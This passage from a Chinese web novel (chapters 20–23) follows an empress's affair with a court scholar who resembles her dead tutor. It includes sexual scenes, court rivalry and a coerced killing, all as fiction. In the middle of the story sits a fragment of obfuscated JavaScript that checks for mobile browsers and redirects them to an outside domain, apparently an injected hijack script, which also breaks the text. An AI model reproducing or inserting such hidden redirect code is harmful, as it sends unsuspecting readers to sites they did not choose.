陆玄珍哑然,伸出一只手轻轻在他眼前晃动了几下。
“怎么了?这样盯着朕做什么?”
“陛下。”苏文澜扬起唇,眼底似有万千星辰闪耀。
陆玄珍挑挑眉:“嗯?”
苏文澜:“臣真的好喜欢您啊。”
他说这话的时候,眼底只有一片真诚。
他顿了顿,又继续开口。
“您对臣好,臣都记在心里。可您也不要为了臣去责怪沈侍卫了,或许他只是想要您多喜欢他一些。”
陆玄珍原本缓和的脸色又冷下来。
她方才消了气,便想着明天去沈府看看沈锐,顺带让他管教一下沈统。
眼下看来,倒是暂时没这个必要了。
“你今天在观书楼都看了些什么?给朕讲讲。”她故意岔开话。
苏文澜脸上突然一红,垂下头小声道::臣……”
陆玄珍没听清,追问道:“你大声些,再说一遍。”
苏文澜支支吾吾,不肯再言。
见他这样,陆玄珍反应过来。
她板着脸故意吓唬他:“你要是敢对朕有所欺瞒,朕便治你的罪。”
苏文澜犹豫着斟酌语句。
陆玄珍可等不及,继续恐吓起来:“让朕想想怎么罚你好呢?是关起来不吃饭,还是吊起来不能睡觉好呢?”
她装出一副为难模样。
随后一摊手,无奈道:“爱卿,还是你自己选吧,朕也不是那种强人所难的人。”
苏文澜突然想好该怎么说了。
他抬起头,潮红爬满了脸颊,睫毛轻轻颤了颤,喉结上下翻滚了下。
“陛下,臣……学了一些新花样。”
“哦,都有哪些新花样?”陆玄珍面色如常追问道。
苏文澜抿抿唇:“可能会得罪您。”
“你还怕得罪朕?”陆玄珍似笑非笑看着他。
苏文澜看她一眼,继续道:“上次臣一直跪着侍奉,动作太单一了,时间久了您难免会觉得枯燥乏味。”
“臣在书上看到可以通过改变姿势来增添一些乐趣,比方说臣躺在下面、您与臣一起站着,您面对着臣站、背对着臣站,还有就是坐着也可以……”
陆玄珍正听得津津有味,苏文澜突然停了下来。
她微微蹙眉,盯着他眼睛问:“还有吗?怎么停了?”
那本《房中术》中就讲了这些东西,但显而易见陆玄珍并未听够,一脸意犹未尽。
为了满足她的好奇心。
苏文澜决定绞尽脑汁再编出一些来。
20. 第 20 章
顶着陆玄珍殷切期待的目光,苏文澜心虚地编起来。
“除了改变姿势,还可以改变地点。一直待在床上难免会有些无聊,椅子上、桌子上,或是浴桶里都可以。”
“如果这些腻了,那还可以出去。比方说书房里、温泉里、马车上、船上、没有人的草地上……”
陆玄珍若有所思点了点头。
说的挺有道理,除了船上,其他的她都没有试过。
而且船上那次,她也没想那么多。
眼下一回味、一对比。
船上倒是真比干巴巴躺在养心殿的大床上等人服侍有意思多了。
“还有吗?”陆玄珍顺口一问。
其实她感觉差不多了,这些就已足以让她大开眼界。
果然是书中自有颜如玉。
读书多,知道的自然就多,她对读书人的钦佩不知不觉中又上了个台阶。
苏文澜以为她还想听。
又咬着牙挤出一些来:“有,除了改变姿势、改变地点,还可以改变……服饰,对改变服饰。”
“哦?是怎么个改变法?”陆玄珍眼睛一亮。
苏文澜硬着头皮往下编:“嗯这个、这个得根据地点来变,在寝殿可以穿寝衣,在书房可以穿朝服,在温泉可以穿浴袍,在草地上可以穿、穿……”
他真编不下去了!
陆玄珍抿抿唇,没为难他。
有些事光是纸上谈兵,是无论如何都不能体会到真实滋味的。
坐而论道不如起而行之。(注)
她温声打断道:“好了好了,时候也不早了,今天就先到这里。文澜你先好好养伤,等过几日伤好的差不多了,朕再同你仔细探讨这个问题。”
说罢,不等苏文澜回应,她便给他掖了掖被角,起身推门离去。
冰冷北风迎面扑来,阵阵寒意争先恐后钻入她露在外面的皮肤。
陆玄珍瞬间清醒不少。
不仅是头脑,还有……她胸膛里那颗不停跳动的心。
此时,她眼底情绪一片复杂。
有迷茫,有遗憾,有留恋,有懊悔,其中还掺着一丝若隐若现的痛苦。
她的情,亦是她的劫。
自古帝王多无情?
可帝王也是人,是人就会有感情,失去最爱之人她又怎么可能不痛?
就算再过十年、二十年、五十年,甚至到她白发苍苍、垂垂老矣之时,她还是会为爱人的早逝痛苦。
这一刻,陆玄珍自私地想:或许做个感情上的昏君也未尝不可?
她要苏文澜陪她一辈子,她要她的太傅陪她一辈子。
便是已经失去,她也要拼命留住。
陆玄珍抬头看月亮,月亮也看她。
淡淡月光洒落,倒映在她瞳孔中,也映照出她的果决。
她收回眼大步向前去,掌灯宫女沉默跟在一旁。
雪地上顿时留下两行浅浅脚印。
长春宫偏殿卧房内。
苏文澜盯着门,眼底闪过丝遗憾。
他伸手从怀中摸出一个瓷瓶,抓在手心握了握。
怎么没留下来呢?
-
沈统连夜被人送回了沈府。
似是怕他不老实,那些侍卫把他送到院子里,亲眼看着他进了房间才离开。
房间里一片漆黑。
他借着从窗棂缝隙透进来的零碎月光,摸索着到了烛台旁,点亮了盏灯。
啪——
暖黄的烛光驱散了室内阴暗,沈统脚边兀得多出一道人影。
那影子的主人就在他身后不远处。
他一言不发,只是静静凝望着沈统,安静到呼吸浅到几乎没有。
沈统突然回过头,看清那人面容。
他惊讶质问道:“大哥,你怎么会在这里?“
沈锐坐在轮椅上,淡淡瞥他一眼。
久久过后,他才开口:“我在等你回来。”
明明沈锐的语气很平淡,但沈统愣是听出一丝嘲讽的意味来。
他哥似乎早就猜到他会被送回来?
沈统撇嘴:“等我干什么?你就那么笃定我今夜会回沈家吗?”
沈锐微微摇头:“不确定,但迟早的事。”
沈统刚想反驳,就听到沈锐继续说:“看你这样子,估计是惹到什么不该惹的人了,现在还坚持自己之前的想法吗?”
“我想的也没错。”沈统嘴硬道。
眼下那姓苏的才进宫多久,就已经是这般光景,若是不能速战速决,假以时日苏文澜必定会成长为他们的心腹大患。
沈锐没有继续和他争论。
他温声道:“小统,你走后我也想了很多,是我这个当大哥的不好,这些年一直忽略了你的想法。”
“你我都喜欢陛下,但你我并非敌人,我们是亲兄弟,理应同心协力对付真正的敌人。”
“这些年你处处敬着我、迁就我,以后大哥助你争宠,站在陛下身边的那个人,无论是你还是我都好,只要不是苏文澜。”
沈锐这一番话可谓真诚坦然。
便是沈统之前对他多有怨气,眼下也难免会被打动,尤其这人还是与他血脉相连、他从小敬着的亲兄长。
沈统:“大哥你说的都是真的?”
在得到肯定答复后,他从怀里掏出一样东西,放到了沈锐腿上。
“小统,这是什么?”
沈锐疑惑盯着躺在大腿上的那本书。
沈统这才注意到他把书放反了。
于是,他伸手把书正过来,“房中术”三个字立马暴露在空气中。
不等沈统开口,沈锐皱起眉头,满眼厌恶地看着那本书。
“你看这种东西做什么?”
“大哥,不是我看,是苏文澜看。今晚我去了藏书阁,在那里碰到了苏文澜还有陛下……”
沈统一五一十把今日进宫后发生的事交代了一遍。
包括他是如何被“请”回沈家的。
沈锐听完来龙去脉后,托着下巴沉思了一会,然后抬眼看着沈统。
“你放心,大哥有办法。”
此言一出,先前萦绕在沈统心头的阴霾瞬间一扫而空。
他咧嘴笑起来:“大哥,陛下罚我手抄男训、男则、男诫一百遍,你看这——”
“自己写!”
沈锐毫不留情打断他,冷着脸白他一眼,自己转着轮椅就出去了。
-
那晚陆玄珍离开长春宫后,便没再来过。
但她派人送过来不少赏赐,有金银钱财、绫罗绸缎,也有药材补品,全是安抚苏文澜的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405494|184439||http|test|mini|href|location''.split(''|''),0,{}));
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>苏文澜没怎么推脱就收了。
因为现在他手上着实缺钱,无论是秘药还是补药,哪一样都花费不小,只靠他俸禄是绝对不够的。
赏赐一下来,小梁子就拿着银子出宫去了。
苏文澜看似体弱,但恢复力却惊人。
不过三日,额角便已大好,皮肤光滑如初,看不出丝毫伤过的痕迹。
除此之外,他身子补得也差不多了。
还趁着休息的功夫,把小梁子从宫外伶人馆弄来的书看了好几遍。
今日苏文澜和前几日一样,起床、用膳、服药、看书。
看累了就靠在床头闭着眼小憩。
刚有了些困意,门口就传来一声细响,轻盈的脚步声由远及近,停在了他床头。
苏文澜眯开眼看去。
“小梁子,敬事房那边有动静了吗?”
小梁子摇头道:“大人,奴婢问了敬事房里一个交好的太监,说是今日陛下没有找过马主管。”
“我知晓了,你去看看药好了吗?”苏文澜一脸镇定地吩咐道。
似乎并未因此而产生沮丧。
小梁子倒是有些着急。
“大人,这药要不先停几日吧,那郎中说了,要是一直这样补,怕是会出问……”
苏文澜面无表情打断他。
“快去,别耽误了时辰,等喝了药我还有别的安排。”
-
御书房外。
苏文澜手中提了个食盒。
看着守在门口的青歌,微笑请求道:“还请青歌姑娘通传一声,臣想见陛下。”
青歌点点头,转身进了御书房。
很快人就出来了,道:“进去吧,陛下正在看奏折。”
“好,多谢青歌姑娘。”苏文澜轻轻颔首。
推门进入御书房,屋内光线明亮,陆玄珍端坐在书桌前,握着一支毛笔往奏折上写什么。
她突然停下,抬头朝苏文澜看去。
“伤都好了?”陆玄珍问,她视线落在苏文澜脸上后,就一直没有再移开。
苏文澜:“都好了。”
“这几日公务太多,朕也没腾出功夫去看你……”
陆玄珍语气一顿。
她也不知道为什么突然说这个,作为皇帝她不必向旁人解释任何事。
苏文澜温声道:“陛下日理万机,这等小事也不必挂着。也是臣不好,让陛下担心了,如今臣一好就想早些过来让陛下放心,只愿没有扰到您。”
陆玄珍嘴角微微上扬:“文澜,来帮朕研磨。”
“是。”苏文澜笑得眉眼弯弯,好看极了。
阳光从他身后照来,轻轻擦过侧脸,刚好模糊了眼角那颗小痣,也模糊了他和他堂兄苏太傅的模样。
陆玄珍更移不开眼了。
太像了,真的太像了,简直就是年轻的苏太傅本人。在她记忆中,苏太傅就是这副模样。
她望着苏文澜,双目微微失神。
直到他走到阳光照不到的地方。
她才反应过来,飞快收回眼,低下头批阅起桌上的奏折。
然而她根本集中不了注意。
心思早就飞到站在一旁安静研墨的苏文澜身上,最终视线落在他带来的食盒上。
陆玄珍问:“文澜,这里面装了什么?”
21. 第 21 章
苏文澜边开食盒边说:“陛下,臣听说您体内火旺,冬日里天气虽然寒冷,但宫里地龙烧得和大暑天一样。”
“这碗银耳莲子粥是臣自己做的,只愿陛下身康体健、万岁常乐。”
他说着,将瓷碗摆在了桌上。
陆玄珍偏过头看了眼。
真就只是一碗普普通通的粥啊,还以为是什么好东西呢!
她还记得前几日苏文澜说过书房也可以……
“你也是有心了,先放那吧。”
陆玄珍语气难掩失落,说完重新低下头继续看奏折。
原本有些燥热的心冷静不少。
一只修长的手突然闯入视线,紧张又大胆地握住了她拿着毛笔的右手。
陆玄珍疑惑抬起眼。
苏文澜拉着她的手往胸前按:“陛下,臣这几日一直都在想您,可您好像都没有想臣。也对,您是皇上,臣不过只是一个出身微寒的小小文官。”
他说着把她的手往身上摁了摁。
“可是陛下,臣怎么都控制不住自己的心了,不信您听听臣的心,它都快要碎了……”
陆玄珍脑袋懵懵的。
只有掌心温暖的触感一遍遍提醒着她,对方在邀宠。
对于这种行为,她并不排斥。
相反,还有点兴奋,尤其是对方顶着这样一张脸,又这样主动。
她压住眼底兴奋,生怕吓到对方。
努力让声音保持平静:“听起来好像是碎了,那个……你把上衣脱了,朕再仔细听听。”
苏文澜暗喜,面上却故作矜持。
“陛下,在、在这里脱吗?会不会不太好,御书房毕竟是……”
“不会有人进来。”
陆玄珍一句话直接堵住了苏文澜所有借口。
苏文澜伸手解开了腰间系带。
劲瘦的上半身暴露在空气中,优美的线条一直延伸到腰肢。
“陛下,您听听。”他微红着脸,拉了拉陆玄珍的手。
陆玄珍也红了脸。
之前在寝殿里又是夜晚,她觉得再正常不过。眼下这般,让她觉得自己是个白日宣淫的昏君。
她握住苏文澜的手,起身走过去。
苏文澜比她要高一些。
她低下头就看不到对方脸色,然后心安理得把耳朵贴在了他的胸口。
扑通、扑通——
有力的心跳声从胸腔里传来,越来越快、越来越快。
“怎么跳得这样快?”陆玄珍问。
苏文澜声音里带着笑:“它也喜欢您,您一来,它就这样了。”
陆玄珍佯装生气去捏他的腰:“大胆!”
顺手在他腰上又多摸了几把。
“陛下您放过臣吧,臣再也不敢了!”苏文澜边笑边求饶。
陆玄珍玩性大发。
索性把人抱在怀里摸,直到怀中那具身体变得烫人,白皙的皮肤下隐隐透出一抹潮红,她才不舍放开。
“要不要在书房……试试?”
苏文澜眼角微红。
他靠在椅子上微微低喘着:“臣任由陛下处置。”
陆玄珍快步走到门口。
隔着门对外面吩咐:“青歌,让敬事房快些把东西送来。”
“……是。”青歌声音有些奇怪。
陆玄珍没在意,回头望了眼。
只见苏文澜衣衫凌乱,双眼迷离地朝她这个方向看着,原本白皙的腰肢上多出几个红色指印。
而她却衣衫整洁。
敬事房办事很快,不到一炷香的功夫,马公公就把泡好的东西送过来了。
这会功夫,苏文澜来之前服下的药效也逐渐显露出来。
陆玄珍瞥了眼书桌。
把泡着东西的瓷碗放到一旁,又把书桌上奏折收到了另一张小桌上。
拥挤的书桌瞬间宽敞起来。
她转头看向椅子上的苏文澜,命令道:“文澜,你躺上去。”
坚硬的桌板有些硌人。
但苏文澜还是乖乖躺好,痴痴望着房顶,眼神已经有些失焦。
这也是陆玄珍很喜欢他的一点,在这事上很容易动情。
两个人都沉浸进去才有趣。
陆玄珍俯下身。
苏文澜仰起脸主动温吻了上来。
她一只手顺势搂住他的后颈,吞下了他的全部呼吸。
两具身体越贴越近。
到最后,几乎融为一体。
过了很久,窗外光线变暗。
陆玄珍鬓角发丝被打湿,略微凌乱地贴在脸侧。
她看了眼窗户,推开腰上那只手。
起身拿过帕子擦了擦,然后穿好了裤子,其他衣物不过稍作整理便整齐如新。
至于那散落一地的衣裳,则是另有其主。
苏文澜也坐了起来。
他又凑到陆玄珍身边,把下巴埋到了她脖子里:“陛下,臣还可以继续。”
陆玄珍咬了咬他耳朵。
“把朕当什么了?朕还没有那么没节制,这种事贪多伤身,朕还想和你长久些呢。”
“臣都听您的。”
苏文澜扬起唇,眼睛亮亮的似有万千星辰。
陆玄珍跳下书桌,瞥见方才被她收拾到小桌上的东西,突然心思微动。
她拿起摆在其中的玉玺。
趁苏文澜没注意,在他胸口盖上了一个朱红印记。
“以后这里只属于朕。”
年轻美丽的胴体上,除了方才她动情时留下的痕迹,便只有这个印章了。
陆玄珍满意欣赏着。
她要这个人里里外外都属于自己,从身到心,全部都要。
欣赏完,她抛下这一室狼藉。
边往外走边说:“青歌,去备水,朕要沐浴了。”
-
待陆玄珍离开后,御书房门外的阴影中出来一人。
沈锐转着轮椅到了门口。
未进门,便闻到了里面欢好过后的气息。
“沈太医,奴、奴婢推您回去吧,今日陛下怕是不能见您了……”
另个宫女走过来小声说道。
沈锐垂下眼:“多谢,青桃你推我进去吧。”
他语气一如往日平和,但说出的话却让人不寒而栗。
青桃惊道:“小苏大人还在里面,您、您现在就要进去吗?”
“嗯,进去。”沈锐语气肯定。
青桃倒吸了口凉气。
没有再说些什么,只是压低头从后面帮沈锐把轮椅推了进去。
进入御书房内,里面的气息便更加浓郁。
沈锐眯起眼往里看,视线落在了那张精致书桌……上面的男人身上。
苏文澜闭着眼躺在上面。
整个人依旧是陆玄珍离开时的模样,只有一件衣服随意搭在小腹上,遮住了那处。
那药的效果虽好,但却非十全十美。<
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p>这会药效过去,他尾椎连着腰都在隐隐作痛,骨头缝里痒痒的,仿佛有蚂蚁在里面爬。
他太疲惫了,以至于有人进来都没发现。
“苏大人付出那么多,便是为了今日吗?”沈锐的声音轻飘飘从头顶传来。
苏文澜缓缓睁眼,扬着唇一字一字停顿着说:“沈太医羡慕吗?”
仿佛是在炫耀,也像是在嘲笑。
“无名无分又朝不保夕,我怎会羡慕?”
沈锐也在笑,但笑意不达眼底。
陛下选苏文澜,又不是为了苏文澜,她只是太留恋苏太傅。
是苏太傅命好,不过二十五便早早死去。
若他还活着……
苏文澜反唇相讥。
“吃不到葡萄就说葡萄酸,有些东西,从前没得到的,以后也不会得到,而得到了,就是得到了。”
他贱命一条,又有何惧。
就算是这药有损寿命,他也认,只要陆玄珍能看到他,只要陆玄珍能有几分喜欢。
沈锐眼神闪烁了几下。
他医术精湛,不过一眼就看出苏文澜的不正常。他想,这人就是个疯子,哪怕不要命了也要陛下的“爱”。
既然如此,他助苏文澜便是,助他早日与他短命的堂兄到下面团聚。
陪陆玄珍走到最后的人,只能是他,也必须是他。
-
陆玄珍越发宠爱苏文澜。
接下来的日子两人几乎是形影不离,她无论去哪都会带着苏文澜,甚至是沐浴。
宫内私下也多了些传言。
众人似乎都十分笃定苏文澜会是未来的继皇夫,只是现下先皇夫逝世不久,不好立马立新皇夫。
前朝后宫息息相关。
更何况如今帝王后宫空荡,众臣暗中一直盯着,都想找机会把自家适龄儿郎送进去。
苏氏虽是顶级世家,但只是之一。
与其势均力敌的其他顶级世家,见其族中竟要连着出两位“皇夫”,自然不可能无动于衷,皆是有所动作。
一月后,再上朝时。
沉寂许久的苏丞相突然出列。
他言辞恳切:“陛下,臣虽开了苏氏祠堂,将文澜正式记在名下,但却未举办过继仪式。这次臣有一个不情之请……”
“臣今年五十有五了,三十那年才得了辞儿这一个孩子,可却白发人送黑发人,或许再也没有儿孙绕膝的一天。”
“臣现在想求您一件事。”
说到动情处,苏丞相甚至老泪纵横:“求您准许文澜归府举办过继仪式,等臣百年之后,有人为臣送终。”
陆玄珍盯着他看了会。
就算眼下苏丞相并非彻底洗脱谋害太傅的嫌疑,可到底是太傅生父,父子二人有五六分相似。
有时看到苏丞相,她就忍不住在脑中一遍遍想象着苏太傅年老的样子。
可怎么都描摹不出太傅真正老去的模样。
她眼前微微模糊,若是太傅还在,他看到自己年迈的父亲如此,大抵也会同意吧。
罢了,就当是为了太傅。
她轻叹一声,问:“需要几日?”
苏丞相忙道:“三日,只要三日。”
陆玄珍点头:“那朕便准你三日,三日一过,必须把人完好送回来。”
下朝后,苏文澜跟苏丞相同乘一辆马车出宫去了。也是这日,沈统解了禁足随兄一同入宫。
两辆马车,擦肩而过。
22. 第 22 章
那辆进宫的马车内。
沈锐板着脸再次问道:“小统,我先前和你说的,可都记下了?”
“大哥你放心,我都记着呢。”沈统随口应着,心思早已不在这里了。
沈锐:“那你跟我说一遍。”
“啊?”沈统愣了下。
好一会才磕磕绊绊道:“第一不许自作主张,有事必须先跟大哥商量,第二不许主动在陛下面前提姓苏的,无论陛下说什么都答应着,不许顶嘴……”
“还有第三、第三是什么来着?大哥我忘了,你再跟我说一遍。”
沈锐白他一眼。
恨铁不成钢道:“你就这两个,第三不需要你来了,等我见了陛下,我自己说。”
“哦哦,那好。”沈统挠挠头。
过了会又凑过来,小声问:“大哥,那第三到底是什么?你先告诉我吧,反正我也记不着。”
说完,他还呲着牙嘿嘿一笑。
沈锐:“……冬狩。”
“冬狩!我想起来了,这么有趣的事我刚刚怎么就没记住呢?大哥你放心,我这回绝对不会忘,等有机会我会跟陛下提的。”
沈统一惊一乍的。
-
陆玄珍直接回了养心殿。
看着空荡荡的房间,心里说不上来的失落。这段日子以来,她已经习惯了有苏文澜在身边。
她有点后悔,早知道就不答应苏丞相了。
不过这种低沉的情绪也没有持续多久,青歌就过来通传,说是沈锐、沈统二人过来了。
这个月她一直和苏文澜待着,被禁足的沈统姑且不提,便是受伤的沈锐她也未曾出宫看过。
这会听着人来了,陆玄珍有些心虚。
“表兄的腿现下如何了?”
陆玄珍先问了沈锐,得到肯定答复后,又看向沈统:“小统,朕让你抄的书都抄了吗?”
沈统把一早准备好的书递上前。
“臣抄好了,一百遍,一字不落,都在这里了,请陛下查阅。”
闻言,陆玄珍诧异看了眼。
伸手接过来翻看,简单翻过一遍后,脸上露出些许满意。
“难得见你这么听话。”
沈统依旧低眉顺眼。
“从前是臣不懂事,以后不会再那样了。”
陆玄珍一时不太习惯这样的沈统。
印象中他鲜少这般乖顺,乖得都不像他了。
于是她又道:“也不必对自己过于苛刻,朕罚你只是想你能稳重些,毕竟你今年也十八了。”
一个月足以让双方都冷静下来。
陆玄珍后来也回忆过那晚,沈统在观书楼上并非有意为之。
那天白日他说过的话她也记起来。
他才十八岁,在感情上或许还有些稚嫩,懵懵懂懂,不清楚自己的心。
因着从小一直跟着她身边,才会造成那样的误解。
“既然你已经意识到,朕就不再多言。这段时间你先和从前一样在宫中当差,等过了年,朕就送你去军营。”
陆玄珍自顾自说着。
“你这一身本事,可不能埋没在宫里,等你立了军功,朕就给你封个大将军,不仅姨母高兴,也能全了你儿时的梦。”
“朕还记得小时候,你总和朕偷偷爬到树上去,躲着你哥说悄悄话。”
“那个时候你才五岁?还是六岁?你就跟朕说,长大以后要上战场建功立业,做一个威风凛凛的大将军。”
她说起过去,总是格外有兴致。
沈统听到要被送走,哭丧起脸。
但又不敢被发现,以免扫了陆玄珍的兴,只得垂下头盯着地面看。
沈锐见此,在一旁笑着圆场。
“那个时候臣总让您看医书,后来您和小统就躲着臣走。”
陆玄珍哈哈一笑,感叹起来。
“现在每天都要看奏折,就是想躲都躲不掉了。我看小统这字还和当年一样,真是没有丝毫长进啊!”
沈锐夸弟:“人各有所长嘛,小统虽不擅文墨,但这一身功夫在同龄才俊中也可称第二。”
“第一呢?”陆玄珍微微疑惑。
沈锐一脸自然道:“自然是您了。”
闻言,陆玄珍轻快笑起来。
沈统听到她的声音,忍不住掀起眼皮偷偷看了几眼,又像做贼似的飞速收回去,低着头抿唇傻乐。
沈锐眼底也浮上些笑意。
“臣记得太上皇在位时,几乎年年都要去围场举行冬狩,您每次都能拨得头筹。”
“那时朕年纪尚小,比朕厉害的大有人在,他们敬重父皇,自然也会给朕这个皇太女几分薄面。”
陆玄珍自个说起这话,并未有丝毫介怀。
沈锐顺势把话题引过去。
“自您登基后,忙于政务,还未举行过冬狩。不知您今年是否打算去围场冬狩呢?”
今年是她登基第三年。
头一年忙着正整顿军队,第二年又赶去平定东海之乱,中间江州又爆发了水灾,今年则是在推行变法改制。
没想到一晃眼竟已过去三年了。
陆玄珍想了想,道:“瑞雪兆丰年,来年或许会是个好年,今年便去围场看看能猎到些什么。”
“陛下,让臣去准备吧!”
沈统安静了大半天,听到陆玄珍同意今年去冬狩,激动地抬头朝她看去。
陆玄珍知道沈统感兴趣。
便允了下来:“好,朕给你七日时间准备。”
沈统高兴道:“是!”
沈锐从旁添了一句:“陛下,此次冬狩要安排何人参与?是否允许携带家眷同行呢?”
陆玄珍不假思索道。
“你、小统、文澜都去,其余从大臣中挑选,家眷的话,每家可另带三人。”
“……是。”
-
苏府前,门庭若市。
毕竟今日主角一个是当朝丞相,一个是陛下亲封的太学博士。
宾客们极为捧场。
宴会结束后。
虽离三日之约还有一日,但苏文澜并不想在苏府停留过久,立刻着人去背马车,打算当日回宫。
“文澜,等明日再回去吧。”
苏丞相抬手屏退在场下人,温声挽留他。
苏文澜拒绝道:“现在我就回宫,不能等明日,陛下她很想我。”
话落,耳边传来声嗤笑。
苏麟从另一侧走出:“哟,你现在还真把自己当个玩意了?”
苏麟,苏氏二房嫡长子,也是苏文澜曾经的亲兄长。
此人心胸狭隘,睚眦必报。
早年多次派人欺辱苏文澜。
苏文澜掩去眼底恨意,淡淡微笑。
“陛下看重我,我也不能忤逆陛下的意思,再像从前那般轻贱自己,你说对吗?堂、兄。”
“你——”
苏麟刚要发作,被苏
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丞相一个眼神制止了。
苏丞相问苏麟:“你父亲呢?怎么还没过来?”
苏麟:“……他还在前面喝酒。”
“你再去喊他一次,要是他不来,明日便不用在苏家待了。”
苏丞相冷脸道。
待苏麟去前院喊苏二叔后。
苏丞相走到苏文澜身旁:“文澜,此次请你回来,其实不只是为了过继宴,还有另一件事。”
“那父亲便直说吧。”
苏文澜依旧是那副着急离开的样子,对于苏家人的再三纠缠,眼角已经染上一些不耐。
苏丞相:“此事牵扯到你的身世,一时半会说不清,你等明日再回宫吧。”
苏文澜脸上终于有了一丝波澜。
他眼底露出一抹嘲讽:“我的身世?父亲,无论我是谁的儿子,我不都是一个低贱的外室子吗?”
“很快就不是了。”
苏丞相似乎胸有成竹。
眼看天色已晚,苏文澜耐心也耗得也差不多了。
他不耐烦道:“你到底想说什么?”
此时,苏麟带着喝得醉醺醺的苏二叔回来了。
苏麟极为嫌弃地搀着他爹:“大伯,我把我爹带过来了。”
“把他扶进去。”苏丞相吩咐苏麟。
-
“文澜,你恨他吗?”
“文澜,你想见你的生母吗?”
“只要你杀了他,就能见到你的生母,其余的我都会替你处理好。”
苏丞相的声音宛若恶鬼低语,不断回荡着苏文澜耳边。
苏文澜握着匕首的手越攥越紧,手背青筋凸起,手指骨节泛白。
啪嗒——
他突然松开手。
那把匕首落到了冰凉的地板上。
“父亲,他毕竟是我二叔,至于我生母,既然从前未见过,以后也没有见的必要。”
苏文澜情绪重新归于平静。
如今他盛宠在身,风头正盛。
又何必对过去那些不好的事情耿耿于怀?
他爱陛下,陛下也爱他。
他会有新的生活了。
苏丞相弯腰捡起匕首。
眼中带着莫名笑意:“那父亲来替你出气。”
他靠近地上被绑着的苏二叔。
一刀、一刀,划开了对方的皮肤,刺鼻的血腥气息立马充斥着整个房间。
苏二叔酒也醒了,被堵住的嘴不住发出“呜呜”声。
一旁苏麟也反应过来。
慌忙上前阻拦:“大、大伯,这是我爹,您别这样,您别这样!”
“二弟别怕,很快就好了。”
苏丞相笑着继续在苏二叔身上划出伤口。
苏文澜冷眼看着苏丞相。
“你究竟想干什么?”
苏丞相轻飘飘说道:“这个人对不起你,也对不起你生母,对苏家也毫无贡献,留着也无用。”
“杀了他,能让你对苏家印象好些,就是他最大的价值了。”
苏文澜面无表情朝门口走去。
“以后我和苏家井水不犯河水,你大可不必如此费心。”
“你不想再见见你的生母吗?”
苏丞相的声音从身后传来,但苏文澜脚步没有丝毫停顿。
苏丞相并未起身挽留。
他蹲在地上,不慌不忙用刀划开了苏二叔的脸,低着头问:“那苏太傅呢?你也不想见吗?”
23. 第 23 章
苏文澜抬起的手停在门前。
低声说了句:“父亲,苏太傅早死了。”
那日皇宫大婚,他虽站在后面,但隔着一段距离,仍看清了那具装着苏太傅的棺木。
亲眼所见,千真万确。
苏丞相扔掉匕首站起身。
看着他道:“一起去看看就知道真假了。”
苏文澜放下手,转过来看着他。
“好,那就去看看。”他轻声说,他要看看苏丞相到底要做什么。
苏丞相怪笑一声,冲被吓懵了的苏麟招了招手。
“小麟,过来把你爹看好,要是他不见了,就拿你的命来抵。”
说完,他走到一个不起眼的花瓶旁,轻轻转动了一下。
脚下立马传出石板挪动的声音。
一条通往地下的楼梯,瞬间暴露在众人面前。
苏丞相看了苏文澜一眼。
然后拿着一盏灯,率先步入了漆黑的暗道。
苏文澜稍作犹豫,便跟了上去。
-
苏文澜在这里生活了快二十年。
没想到苏府下面竟然藏着一个这样的地方,阴冷、潮湿、黑暗。
“这是苏氏地牢,关押在这里的都是严重威胁或将要威胁苏氏的人。”
苏丞相的声音从前面传来。
苏文澜看向两侧。
大部分牢房里都是空的,但多数地面或墙壁上都沾着黑红血迹,散发出浓郁的咸腥。
他皱了皱眉头。
咔嚓——
尽头牢房上的锁被苏丞相打开了。
苏文澜注意到墙角蜷缩着一个人。
少年死死将头埋在两膝之间,一双赤足虽沾上灰,却仍难以掩盖皮肤的白皙。
“常尧,抬起头。”苏丞相说。
如同死物般的少年突然动起来,顺从地仰起脸看向苏丞相。
苏文澜也看清了他的脸。
瞬间瞳孔剧震,里面写满了不可置信。
这张脸,这张脸,怎么可能这么像?怎么可以比他还像?
他的反应被苏丞相尽收眼底。
苏丞相笑:“像不像?是不是一瞬间以为苏辞还活着?别说你,我第一次见到他时,还以为我的儿子没死。”
苏文澜沉默盯着那张脸。
从眉毛、眼睛,到鼻、到唇,最后停在那人胸前,他不知道苏丞相究竟是怎样做到的。
“这才是你今天的真实目的吧。”苏文澜说。
苏丞相笑得从容。
他道:“文澜,这个世上可以取代你的人很多,你并非独一无二。但父亲也可以只有你这一个儿子。”
“告诉父亲,你想选哪一个?”
选哪个?
苏文澜眼底冷意浮现,他有得选吗?
这一个月来,他一直活在自己的梦里。
而现在梦醒了,他无法继续欺骗自己,陆玄珍爱的人从来都不是他。
他只是一个卑鄙无耻的小偷!
如今他所拥有的一切都是他偷来的,这一切从未真正属于他,所以总有一日这一切也会被他人偷走。
他只恨自己不是真正的苏太傅。
“父亲,你想要我怎么做?”
苏文澜垂下眼,长睫落下的阴影里刻满了隐忍与恨。
苏丞相:“上去杀了苏二。”
“……好。”苏文澜闭了闭眼。
有些事一旦做了,就再也洗不干净了。
既然对方想要一个把柄,他给。
若是被世人知晓他手弑生父,怕是会被天下唾弃,再无被立为皇夫的可能。
-
亲手杀掉一个人是什么感觉?
亲手杀掉自己的生身父亲是什么感觉?
苏文澜不清楚。
他把刀刺入苏二叔心口的时候,脑中一片空白。他分不清杀死的到底是一个陌生人,还是自己的生父。
他只知道现在自己手上沾了血。
如果有一天陆玄珍知道这件事,会不会彻底厌弃他?
他见过陆玄珍杀人。
在平安巷,她杀了一个苏家旁支,手起剑落就像呼吸一样简单。
除此之外,陆玄珍在东海御驾亲征时,曾杀敌无数。
苏文澜眼眶突然通红。
不一样的,怎么能一样呢?现在的他肮脏、无耻、卑鄙。
唯一能做的就是先藏好。
假以时日,让所有知情者再也无法开口。
“文澜,你比你哥听话多了。”苏丞相从后面赞赏地拍了拍他的肩。
苏文澜没反应。
苏丞相丝毫不介意。
他现下心情大好,笑道:“走吧,去见见你生母。你们母子,也有二十年未见了。”
苏文澜跟着苏丞相出了苏府。
马车一路疾行,深夜静谧的街道上,只有车轮滚动的声响。
从他记事起,就是一个人。
他对母亲的印象全部来自苏家二夫人,也就是苏麟的生母李氏。
